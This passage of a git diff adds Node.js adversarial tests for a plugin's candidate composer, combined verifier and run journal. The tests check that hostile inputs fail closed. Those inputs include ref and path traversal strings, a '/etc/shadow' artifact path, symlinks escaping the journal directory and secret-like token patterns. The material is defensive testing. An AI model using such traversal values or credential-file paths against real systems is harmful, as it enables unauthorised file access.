0); +}); + +test('restart of the same frozen deltas is idempotent', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const request = composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const first = await composeRunOwnedCandidateV1(request); + const second = await composeRunOwnedCandidateV1(request); + assert.equal(second.idempotent, true); + assert.equal(second.candidate_sha, first.candidate_sha); + assert.equal(inspectRepo(repo).candidate, first.candidate_sha); +}); + +test('overlapping writer paths fail closed without merge repair', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/shared.txt', contents: 'a\n', + }); + const headB = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_B, relativePath: 'src/shared.txt', contents: 'b\n', + }); + const error = await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['src/**'], 'verified', headB), + ]))); + assert.equal(error.code, 'path_ownership_denied'); + assert.equal(inspectRepo(repo).candidate, null); + assert.equal(inspectRepo(repo).main, repo.baseSha); +}); + +test('symlink rename and mode-change deltas are rejected', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const symlinkSha = await addSymlinkWriter(repo); + const renameSha = await addRenameWriter(repo); + const modeSha = await addModeChangeWriter(repo); + assert.equal((await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', symlinkSha), + ])))).code, 'delta_policy_denied'); + assert.equal((await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', renameSha), + ])))).code, 'delta_policy_denied'); + assert.equal((await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', modeSha), + ])))).code, 'delta_policy_denied'); + assert.equal(inspectRepo(repo).candidate, null); +}); + +test('out of scope paths fail closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'docs/escape.md', contents: 'nope\n', + }); + const error = await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]))); + assert.equal(error.code, 'path_ownership_denied'); +}); + +test('parsed requests are detached snapshots', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const input = composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'missing'), + verifyLane(), + ]); + const snapshot = parseRunCandidateComposeRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + input.lanes.push(writerLane(ASSIGNMENT_B, ['docs/**'], 'missing')); + assert.equal(snapshot.lanes.length, 2); + assert.equal(snapshot.candidate_ref, candidateRef()); +}); + +test('legacy 3.2.1 compatibility: composer does not claim a sixth tool or version bump', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + assert.equal(source.includes('4.0.0'), false); + assert.equal(source.includes('ready_for_codex_review: true'), false); + assert.match(source, /Codex retains sole final acceptance/u); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs new file mode 100644 index 0000000..ea2a119 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs @@ -0,0 +1,182 @@ +// P35 combined verifier adversarial coverage: hostile containers, identity +// drift, incomplete-ready smuggling, and remote-mutation denial. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { expectedCandidateRefV1 } from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { composeRunOwnedCandidateV1 } from '../mcp/v3/run-candidate-composer.mjs'; +import { + parseCombinedCandidateRequestV1, + verifyCombinedCandidateV1, +} from '../mcp/v3/run-combined-verifier.mjs'; +import { + ASSIGNMENT_A, + DENY_VERIFIER_GIT_OPTIONS, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + addWriterCommit, + candidateRef, + composeRequest, + countingProxy, + createBaseRepo, + executeVerificationStub, + inspectRepo, + trapTotal, + verifyRequest, + withCandidateRef, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\/secret-repo/u); +} + +test('proxy verifier requests fail closed without traps', async () => { + const proxied = countingProxy({ schema: 'x' }); + const error = await errorOf(() => parseCombinedCandidateRequestV1(proxied.proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxied.counts), 0); + assertContentFree(error); +}); + +test('unknown keys and accessors fail closed without leaking secrets', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + const base = verifyRequest(repo, composition); + assert.equal((await errorOf(() => parseCombinedCandidateRequestV1({ + ...base, create_pr: true, + }))).code, 'unknown_key'); + const accessor = { ...base }; + Object.defineProperty(accessor, 'version', { + enumerable: true, get() { return HOSTILE_TOKEN; }, + }); + const error = await errorOf(() => parseCombinedCandidateRequestV1(accessor)); + assert.equal(error.code, 'accessor_property_denied'); + assertContentFree(error); + assert.equal(error.message.includes(HOSTILE_SECRET), false); +}); + +test('proxy options fail closed without invoking injected seams', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + const proxied = countingProxy({ executeVerification: executeVerificationStub }); + const error = await errorOf(() => verifyCombinedCandidateV1( + verifyRequest(repo, composition), proxied.proxy, + )); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxied.counts), 0); +}); + +test('smuggling ready_for_codex_review onto a blocked composition cannot upgrade it', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'missing'), + ])); + assert.equal(composition.status, 'blocked'); + const forged = { + ...composition, + ready_for_codex_review: true, + status: 'composed', + candidate_sha: repo.baseSha, + parent_count: 1, + }; + const error = await errorOf(() => parseCombinedCandidateRequestV1( + verifyRequest(repo, forged), + )); + assert.ok(['invalid_format', 'invalid_type'].includes(error.code)); +}); + +test('unauthorized candidate_ref tampers fail closed with frozen evidence', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + const authorized = candidateRef(); + const otherRun = expectedCandidateRefV1({ run_id: 'run-other-99' }); + const cases = [ + ['exact-main', 'refs/heads/main'], + ['cross-run', otherRun], + ['heads-master', 'refs/heads/master'], + ['heads-develop', 'refs/heads/develop'], + ['tag', 'refs/tags/v1.0.0'], + ['remote', 'refs/remotes/origin/main'], + ['notes', 'refs/notes/commits'], + ['nested', `${authorized}/nested`], + ['escaped', 'refs/codex-co-engineer/runs/run-candidate-01/%2e%2e/candidate'], + ['traversal', 'refs/codex-co-engineer/runs/run-candidate-01/../candidate'], + ['dotdot-main', 'refs/codex-co-engineer/runs/run-candidate-01/../../heads/main'], + ['symbolic-HEAD', 'HEAD'], + ['symbolic-at', `${authorized}@{0}`], + ['aliased-peel', `${authorized}^{}`], + ['missing-empty', ''], + ['contradictory-leaf', 'refs/codex-co-engineer/runs/run-candidate-01/HEAD'], + ]; + + for (const [label, ref] of cases) { + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, withCandidateRef(composition, ref)), + DENY_VERIFIER_GIT_OPTIONS, + ); + assert.equal(Object.isFrozen(receipt), true, label); + assert.equal(receipt.status, 'failed', label); + assert.equal(receipt.ready_for_codex_review, false, label); + assert.equal(receipt.verification_executed, false, label); + assert.equal(receipt.integrated, false, label); + assert.equal(receipt.side_effects.remote_mutated, false, label); + assert.equal(receipt.side_effects.push_performed, false, label); + assert.equal(receipt.candidate_ref, authorized, label); + assert.equal(receipt.discrepancies.length > 0, true, label); + assert.equal(receipt.facts.length > 0, true, label); + assert.equal(receipt.facts[0].status, 'failed', label); + assert.equal(receipt.facts[0].run_id, RUN_ID, label); + const serialized = JSON.stringify(receipt); + assert.equal(serialized.includes(HOSTILE_SECRET), false, label); + if (ref.length > 0 && ref !== authorized) { + assert.equal(serialized.includes(ref), false, label); + } + assert.equal(inspectRepo(repo).main, repo.baseSha, label); + assert.equal(inspectRepo(repo).remotes, '', label); + } + + const control = await verifyCombinedCandidateV1( + verifyRequest(repo, withCandidateRef(composition, authorized)), + { executeVerification: executeVerificationStub }, + ); + assert.equal(control.status, 'verified'); + assert.equal(control.ready_for_codex_review, true); + assert.equal(control.candidate_ref, authorized); + assert.equal(inspectRepo(repo).main, repo.baseSha); + assert.equal(inspectRepo(repo).remotes, ''); + assert.equal(inspectRepo(repo).candidate, composition.candidate_sha); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs new file mode 100644 index 0000000..73fdb5c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs @@ -0,0 +1,226 @@ +// P35 combined-candidate verifier focused coverage: P13/P14/P15/P16/P30/P32 +// evidence, incomplete/blocked states, one-parent semantics, and Codex-only +// acceptance. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { expectedCandidateRefV1 } from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { composeRunOwnedCandidateV1 } from '../mcp/v3/run-candidate-composer.mjs'; +import { + RUN_COMBINED_VERIFIER_SCHEMA_ID, + RUN_COMBINED_VERIFIER_VERSION, + describeRunCombinedVerifierV1, + verifyCombinedCandidateV1, +} from '../mcp/v3/run-combined-verifier.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + DENY_VERIFIER_GIT_OPTIONS, + RUN_ID, + addWriterCommit, + candidateRef, + composeRequest, + createBaseRepo, + executeVerificationStub, + inspectRepo, + verificationStub, + verifyLane, + verifyRequest, + withCandidateRef, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-combined-verifier.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +const verifyOptions = { executeVerification: executeVerificationStub }; + +async function composed(repo, lanes, overrides = {}) { + return composeRunOwnedCandidateV1(composeRequest(repo, lanes, overrides)); +} + +test('combined verifier schema never claims integration or Gate A', () => { + assert.equal(RUN_COMBINED_VERIFIER_SCHEMA_ID, 'codex-co-engineer.run-combined-verifier.v1'); + assert.equal(RUN_COMBINED_VERIFIER_VERSION, 1); + const inventory = describeRunCombinedVerifierV1(); + assert.equal(inventory.codex_only_final_acceptance, true); + assert.equal(inventory.integrated, false); + assert.equal(inventory.incomplete_never_ready, true); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.gate_a_claimed, false); + assert.equal(inventory.imports_server, false); + assert.equal(inventory.imports_composer_functions, false); + assert.equal( + inventory.composed_surfaces.git_authority, + 'codex-co-engineer.git-authority.v1', + ); + assert.equal(inventory.checks.includes('p28_candidate_ref_authority'), true); +}); + +test('P35 verifier source does not import server, supervisor, runtime, or scheduler', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-runtime.mjs', 'run-scheduler.mjs', 'server.mjs', 'supervisor.mjs', + 'mailbox.mjs', 'acp-worker.mjs', 'process-boundary.mjs', 'provider-registry.mjs', + 'run-artifact-bridge.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } + assert.equal(source.includes('composeRunOwnedCandidateV1'), false); +}); + +test('a complete composed candidate verifies through accepted evidence', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'from-a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane(), + ]); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, composition), verifyOptions, + ); + assertFrozenTree(receipt); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.ready_for_codex_review, true); + assert.equal(receipt.codex_only_final_acceptance, true); + assert.equal(receipt.integrated, false); + assert.equal(receipt.parent_count, 1); + assert.equal(receipt.verification_executed, true); + assert.equal(receipt.api_boundary_status, 'ready'); + assert.equal(receipt.candidate_ref, expectedCandidateRefV1({ run_id: RUN_ID })); + assert.equal(receipt.candidate_ref, candidateRef()); + assert.equal(inspectRepo(repo).main, repo.baseSha); + assert.equal(inspectRepo(repo).remotes, ''); +}); + +test('exact tamper of candidate_ref to refs/heads/main never verifies or is ready', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'from-a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane(), + ]); + const tampered = withCandidateRef(composition, 'refs/heads/main'); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, tampered), DENY_VERIFIER_GIT_OPTIONS, + ); + assertFrozenTree(receipt); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.verification_executed, false); + assert.equal(receipt.integrated, false); + assert.equal(receipt.candidate_ref, candidateRef()); + assert.equal(receipt.discrepancies.length > 0, true); + assert.equal(inspectRepo(repo).main, repo.baseSha); + assert.equal(inspectRepo(repo).remotes, ''); +}); + +test('blocked composition stays blocked and is never ready', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], 'rejected'), + ]); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, composition), verifyOptions, + ); + assert.equal(receipt.status, 'blocked'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.verification_executed, false); +}); + +test('diagnostic incomplete_candidate can never receive ready_for_codex_review', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], 'unresolved'), + ], { allow_diagnostic_partial_candidate: true }); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, composition), verifyOptions, + ); + assert.equal(receipt.status, 'incomplete_candidate'); + assert.equal(receipt.incomplete, true); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.codex_only_final_acceptance, true); +}); + +test('missing P16 evidence blocks ready even when composition is complete', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const request = verifyRequest(repo, composition); + delete request.verification; + const receipt = await verifyCombinedCandidateV1(request, verifyOptions); + assert.equal(receipt.status, 'blocked'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.verification_executed, false); +}); + +test('failing P16 evidence fails closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const receipt = await verifyCombinedCandidateV1(verifyRequest(repo, composition), { + executeVerification: async () => verificationStub('fail'), + }); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.ready_for_codex_review, false); +}); + +test('mismatched composition identity fails closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const request = verifyRequest(repo, composition); + request.identity = { ...request.identity, run_id: 'run-other-identity-99' }; + const error = await errorOf(() => verifyCombinedCandidateV1(request, verifyOptions)); + assert.equal(error.code, 'identity_mismatch'); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs new file mode 100644 index 0000000..4784af0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal-adversarial.test.mjs @@ -0,0 +1,567 @@ +import assert from 'node:assert/strict'; +import { chmod, lstat, readFile, readdir, rm, symlink, writeFile, unlink } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + MAX_RUN_JOURNAL_CHILDREN, + RUN_JOURNAL_ENTRY_SCHEMA_ID, + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_OUTCOMES, + applyRunJournalEntryV1, + emptyRunJournalStateV1, + reduceRunJournalEntriesV1, + validateRunJournalEventDataV1, +} from '../mcp/v3/run-reducer.mjs'; +import { + RUN_JOURNAL_CURSOR_DOMAIN, + RUN_JOURNAL_LOCK_SCHEMA_ID, + createRunJournal, + openRunJournal, + validateBoundRunRecord, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +async function withJournal(fn, { runId = 'run-journal-hostile' } = {}) { + const storeRoot = await makePrivateRoot('r1-p25-adv-store-'); + const journalRoot = await makePrivateRoot('r1-p25-adv-root-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: runId }); + return await fn({ store, storeRoot, journalRoot, runId, journal }); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +async function primeChild(journal) { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); +} + +// Deterministic PRNG so the hostile lattice is reproducible. +function mulberry32(seed) { + let state = seed >>> 0; + return () => { + state = (state + 0x6d2b79f5) >>> 0; + let t = state; + t = Math.imul(t ^ (t >>> 15), t | 1); + t ^= t + Math.imul(t ^ (t >>> 7), t | 61); + return ((t ^ (t >>> 14)) >>> 0) / 4294967296; + }; +} + +// Independent reference oracle for the transition lattice. +function makeOracle() { + const children = new Map(); + let opened = false; + let terminal = false; + return { + get terminal() { return terminal; }, + legal(kind, data) { + if (terminal) return false; + if (kind === 'run_opened') return !opened; + if (!opened) return false; + if (kind === 'run_terminal') { + return children.size >= 1 && [...children.values()].every((value) => value !== null); + } + const id = data.assignment_id; + const current = children.get(id); + if (kind === 'child_started') { + if (current !== undefined) return false; + return children.size < MAX_RUN_JOURNAL_CHILDREN; + } + if (current === undefined || current !== null) return false; + return true; + }, + apply(kind, data) { + if (kind === 'run_opened') opened = true; + else if (kind === 'child_started') children.set(data.assignment_id, null); + else if (kind === 'child_terminal') children.set(data.assignment_id, data.outcome); + else if (kind === 'run_terminal') terminal = true; + }, + }; +} + +function candidateBodies(random, childIds) { + const bodies = []; + bodies.push({ kind: 'run_opened', data: {} }); + for (const kind of ['child_started', 'child_progress', 'child_artifact', 'child_terminal']) { + for (const id of childIds) { + if (kind === 'child_started') bodies.push({ kind, data: { assignment_id: id } }); + else if (kind === 'child_progress') { + bodies.push({ kind, data: { assignment_id: id, note: 'progress.tick' } }); + } else if (kind === 'child_artifact') { + bodies.push({ + kind, + data: { assignment_id: id, artifact: { digest: `sha256:${'a'.repeat(64)}`, bytes: 8 } }, + }); + } else { + bodies.push({ + kind, + data: { assignment_id: id, outcome: RUN_JOURNAL_OUTCOMES[random() * 3 | 0] }, + }); + } + } + } + bodies.push({ kind: 'run_terminal', data: { outcome: 'completed' } }); + return bodies; +} + +test('hostile randomized transition latches match an independent oracle across many seeds', () => { + for (let seed = 1; seed <= 25; seed += 1) { + const random = mulberry32(seed); + const childIds = ['a0', 'a1', 'a2', 'ghost']; + const bodies = candidateBodies(random, childIds); + const oracle = makeOracle(); + let state = emptyRunJournalStateV1(); + const accepted = []; + + for (let step = 0; step < 120; step += 1) { + const body = bodies[random() * bodies.length | 0]; + const expected = oracle.legal(body.kind, body.data); + let reducerAccepted = true; + let nextState = state; + try { + nextState = applyRunJournalEntryV1(state, { + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq: state.revision + 1, + kind: body.kind, + data: body.data, + prev: state.head_hash, + hash: `sha256:${String(state.revision + 1).padStart(64, 'c')}`, + }); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + reducerAccepted = false; + } + assert.equal(reducerAccepted, expected, `seed ${seed} step ${step} ${body.kind}`); + if (reducerAccepted) { + state = nextState; + accepted.push({ + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq: state.revision, + kind: body.kind, + data: body.data, + prev: accepted.length === 0 + ? RUN_JOURNAL_GENESIS_PREV + : accepted[accepted.length - 1].hash, + hash: `sha256:${String(state.revision).padStart(64, 'c')}`, + }); + oracle.apply(body.kind, body.data); + } + if (oracle.terminal) { + assert.equal(state.terminal, true); + assert.equal(state.run_outcome !== null, true); + } + } + + // Exact replay of the accepted stream reproduces the folded state. + const replayed = reduceRunJournalEntriesV1(accepted); + assert.equal(canonicalJsonStringify(replayed), canonicalJsonStringify(state)); + // Monotonicity invariants hold. + let counted = 0; + for (const kind of RUN_JOURNAL_EVENT_KINDS) counted += state.event_counts[kind]; + assert.equal(counted, state.revision); + assert.equal(state.child_count <= MAX_RUN_JOURNAL_CHILDREN, true); + } +}); + +test('closed event shapes reject hostile payloads with typed errors', () => { + const hostiles = [ + ['unknown kind', 'teleport', {}], + ['run_opened with payload', 'run_opened', { extra: 1 }], + ['progress with prompt key', 'child_progress', { assignment_id: 'a0', prompt: 'leak' }], + ['progress with free note', 'child_progress', { assignment_id: 'a0', note: 'has space' }], + ['progress with long note', 'child_progress', { assignment_id: 'a0', note: `a${'b'.repeat(80)}` }], + ['artifact with path', 'child_artifact', { + assignment_id: 'a0', + artifact: { digest: `sha256:${'a'.repeat(64)}`, bytes: 8, path: '/etc/shadow' }, + }], + ['artifact with huge bytes', 'child_artifact', { + assignment_id: 'a0', + artifact: { digest: `sha256:${'a'.repeat(64)}`, bytes: 2 ** 53 }, + }], + ['terminal unknown outcome', 'child_terminal', { assignment_id: 'a0', outcome: 'maybe' }], + ['run_terminal unknown outcome', 'run_terminal', { outcome: 'forever' }], + ['assignment id traversal', 'child_started', { assignment_id: '../../etc' }], + ['assignment id uppercase', 'child_started', { assignment_id: 'A0' }], + ]; + for (const [label, kind, data] of hostiles) { + let code = null; + try { + validateRunJournalEventDataV1(kind, data); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + code = error.code; + } + assert.notEqual(code, null, `expected rejection: ${label}`); + } +}); + +test('symlinked journal surfaces fail closed without following', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + const scratch = await mkdtempScratch(); + try { + const outside = path.join(scratch, 'outside.jsonl'); + await writeFile(outside, 'hostile\n'); + + for (const [name, expected] of [ + ['journal.jsonl', 'run_journal_not_regular'], + ['state.json', 'run_journal_not_regular'], + // The advisory lock reader fails closed with its own typed code. + ['lock', 'run_journal_lock_corrupt'], + ['created.json', 'run_journal_not_regular'], + ]) { + const target = path.join(journal.directory, name); + const original = await readFile(target).catch(() => null); + const backup = path.join(scratch, `${name.replace('.', '_')}.bak`); + if (original !== null) await writeFile(backup, original); + await unlink(target).catch(() => {}); + await symlink(outside, target); + const error = await errorOf(() => journal.currentState()); + assert.equal(error.code, expected, name); + await unlink(target); + if (original !== null) { + await writeFile(target, original, { mode: 0o600 }); + await chmod(target, 0o600); + } + } + + // A symlinked sibling run directory poisons the whole root audit. + const runsDir = path.join(path.dirname(journal.directory)); + const sibling = path.join(runsDir, 'run-journal-sibling-evil'); + await symlink(outside, sibling); + const poisoned = await errorOf(() => journal.currentState()); + assert.equal(poisoned.code, 'run_journal_unsafe_path'); + await unlink(sibling); + + // A symlink at a temporary name is never followed. + await symlink(outside, path.join(journal.directory, `.tmp-${'a'.repeat(32)}`)); + const tempSymlink = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.t' }, + })); + assert.equal(tempSymlink.code, 'run_journal_torn_temporary'); + } finally { + await rm(scratch, { recursive: true, force: true }); + } + }); +}); + +async function mkdtempScratch() { + const { mkdtemp } = await import('node:fs/promises'); + return mkdtemp(path.join(tmpdir(), 'r1-p25-adv-scratch-')); +} + +test('root and run-directory swaps between operations fail hard', async () => { + await withJournal(async ({ journalRoot, runId, store, journal }) => { + await primeChild(journal); + // Swap the run directory for a fresh empty one. + const dir = journal.directory; + await rm(dir, { recursive: true, force: true }); + const { mkdir } = await import('node:fs/promises'); + await mkdir(dir, { mode: 0o700 }); + const swapped = await errorOf(() => journal.append({ + kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.swap' }, + })); + // A recreated directory cannot carry this binding's creation stamp, so + // inode-reuse tricks cannot smuggle a reset journal past the handle. + // Depending on inode reuse, identity or stamp verification fires first; + // both are hard failures. + assert.ok( + swapped.code === 'run_journal_dir_rebound' + || swapped.code === 'run_journal_root_swapped', + `unexpected code ${swapped.code}`, + ); + + // Swap the entire root. + await rm(journalRoot, { recursive: true, force: true }); + await mkdir(journalRoot, { mode: 0o700 }); + const rootSwapped = await errorOf(() => journal.currentState()); + assert.equal(rootSwapped.code, 'run_journal_root_swapped'); + + // A brand-new handle on the emptied root reports the missing run. + const missing = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(missing.code, 'run_journal_not_found'); + }); +}); + +test('directory floods, foreign entries, and oversized files fail closed', async () => { + await withJournal(async ({ journalRoot, runId, store }) => { + const { mkdir } = await import('node:fs/promises'); + const runsDir = path.join(journalRoot, 'runs'); + for (let index = 0; index < 256; index += 1) { + await mkdir(path.join(runsDir, `run-flood-${index}`), { mode: 0o700 }); + } + const flooded = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(flooded.code, 'run_journal_flood'); + }); + + await withJournal(async ({ journal }) => { + await primeChild(journal); + await writeFile(path.join(journal.directory, 'foreign.txt'), 'nope\n'); + const foreign = await errorOf(() => journal.currentState()); + assert.equal(foreign.code, 'run_journal_foreign_entry'); + }); + + await withJournal(async ({ journal }) => { + await primeChild(journal); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const lines = (await readFile(journalPath, 'utf8')).split('\n').filter(Boolean); + const { MAX_RUN_JOURNAL_FILE_BYTES } = await import('../mcp/v3/run-journal.mjs'); + await writeFile(journalPath, `${lines.join('\n')}\n${'x'.repeat(MAX_RUN_JOURNAL_FILE_BYTES + 1)}`); + const oversized = await errorOf(() => journal.healTornTail()); + assert.equal(oversized.code, 'run_journal_file_too_large'); + }); +}); + +test('malformed committed lines and foreign lock files fail hard', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await primeChild(journal); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const lines = (await 